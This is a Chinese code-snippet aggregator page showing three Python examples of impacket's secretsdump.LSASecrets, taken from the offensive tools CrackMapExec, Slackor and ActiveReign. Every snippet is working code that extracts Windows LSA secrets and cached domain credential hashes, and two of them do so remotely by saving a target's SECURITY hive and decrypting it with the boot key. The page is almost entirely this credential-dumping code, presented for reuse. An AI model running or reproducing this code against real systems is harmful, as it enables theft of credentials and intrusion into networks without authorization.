當前位置: 首頁>>代碼示例>>Python>>正文


Python secretsdump.LSASecrets方法代碼示例

本文整理匯總了Python中impacket.examples.secretsdump.LSASecrets方法的典型用法代碼示例。如果您正苦於以下問題:Python secretsdump.LSASecrets方法的具體用法?Python secretsdump.LSASecrets怎麽用?Python secretsdump.LSASecrets使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在impacket.examples.secretsdump的用法示例。


在下文中一共展示了secretsdump.LSASecrets方法的3個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: lsa

# 需要導入模塊: from impacket.examples import secretsdump [as 別名]
# 或者: from impacket.examples.secretsdump import LSASecrets [as 別名]
def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish() 
開發者ID:byt3bl33d3r,項目名稱:CrackMapExec,代碼行數:32,代碼來源:smb.py

示例2: getLSA

# 需要導入模塊: from impacket.examples import secretsdump [as 別名]
# 或者: from impacket.examples.secretsdump import LSASecrets [as 別名]
def getLSA(self):
        localOperations = LocalOperations(self.options.system)
        bootKey = localOperations.getBootKey()

        lsaSecrets = LSASecrets(self.options.security, bootKey, None, isRemote=False, history=False, perSecretCallback = self.getDPAPI_SYSTEM)

        lsaSecrets.dumpSecrets() 
開發者ID:Coalfire-Research,項目名稱:Slackor,代碼行數:9,代碼來源:dpapi.py

示例3: lsa

# 需要導入模塊: from impacket.examples import secretsdump [as 別名]
# 或者: from impacket.examples.secretsdump import LSASecrets [as 別名]
def lsa(self):
        def add_lsa_secret(secret):
            for x in secret.splitlines():
                self.logger.success([self.host, self.ip, "LSA SECRET", x])
                add_lsa_secret.secrets += 1

        try:
            # Output File
            file_name = '{}_{}'.format(self.host.lower(), get_filestamp())
            outfile = os.path.join(os.path.expanduser('~'), '.ar3', 'workspaces', self.args.workspace, file_name)
            # Dump
            add_lsa_secret.secrets = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SECURITYFileName = self.remote_ops.saveSECURITY()
                LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))
                LSA.dumpCachedHashes()
                LSA.exportCached(outfile)
                LSA.dumpSecrets()
                LSA.exportSecrets(outfile)
        except Exception as e:
            self.logger.debug('LSA Extraction Failed for {}: {}'.format(self.host, str(e)))

        if add_lsa_secret.secrets > 0:
            self.logger.info([self.host, self.ip, "LSA SECRET", 'Output saved to: {}.secrets'.format(outfile)])

        try:
            self.remote_ops.finish()
        except Exception as e:
            self.logger.debug(["LSA", "Error calling remote_ops.finish(): {}".format(e)])
        LSA.finish() 
開發者ID:m8r0wn,項目名稱:ActiveReign,代碼行數:33,代碼來源:smb.py


注:本文中的impacket.examples.secretsdump.LSASecrets方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。